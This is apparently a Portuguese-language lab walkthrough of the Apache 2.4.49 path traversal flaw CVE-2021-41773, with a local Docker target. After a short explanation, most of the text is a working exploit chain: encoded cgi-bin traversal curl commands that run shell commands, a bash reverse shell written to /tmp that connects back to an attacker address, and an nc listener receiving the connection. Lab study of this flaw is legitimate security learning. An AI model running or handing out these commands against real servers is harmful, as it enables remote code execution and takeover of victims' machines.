
The first vulnerability with the CVE identifier CVE-2021-41773 is a path traversal flaw that exists in Apache HTTP Server 2.4.49.
Foi encontrada uma falha em uma alteração feita na normalização de caminhos no Apache HTTP Server 2.4.49. Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fora dos diretórios configurados por diretivas do tipo Alias.
Se arquivos fora desses diretórios não estiverem protegidos pela configuração padrão usual "require all denied", essas requisições podem ter sucesso. Se scripts CGI também estiverem habilitados para esses caminhos alias, isso poderia permitir execução remota de código.
Este problema é conhecido por ser explorado na prática.
Este problema afeta apenas o Apache 2.4.49 e não versões anteriores.
Um ataque de path traversal (também conhecido como directory traversal) visa acessar arquivos e diretórios armazenados fora da pasta raiz da web. Manipulando variáveis que referenciam arquivos com sequências “dot-dot-slash (../)” e suas variações ou usando caminhos absolutos de arquivos, pode ser possível acessar arquivos e diretórios arbitrários armazenados no sistema de arquivos, incluindo código-fonte de aplicações, configurações e arquivos críticos do sistema. Deve-se notar que o acesso aos arquivos é limitado pelo controle de acesso operacional do sistema (como no caso de arquivos bloqueados ou em uso no sistema operacional Microsoft Windows).
Este ataque também é conhecido como “dot-dot-slash”, “directory traversal”, “directory climbing” e “backtracking”.
$ docker-compose build
$ docker-compose up
Confirmar que funciona
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Vítima : localhost:1234
Atacante : 192.168.1.12
De acordo com a documentação, esta é uma falha que nos permite executar código remotamente (RCE).
Podemos explorá-la fazendo um curl com a pasta cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Vamos ver se realmente temos acesso ao comando, por exemplo id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Vamos testar uma reverse shell criando um arquivo bash no servidor da vítima.
Vamos tomar como exemplo a reverse shell em bash encontrada no repositório PayloadsAllTheThings.
Aqui está um exemplo:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Vamos criar o arquivo vuln.sh na máquina da vítima na pasta /tmp/ !
Este arquivo conterá nossa reverse shell que podemos executar remotamente. Ele se conectará à nossa máquina local na porta 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Você pode verificar o conteúdo do arquivo com o comando cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener com ncat
Vamos criar o listener na máquina local.
$ nc -lvnp 44
Resta apenas executar o arquivo remoto.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Resposta:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.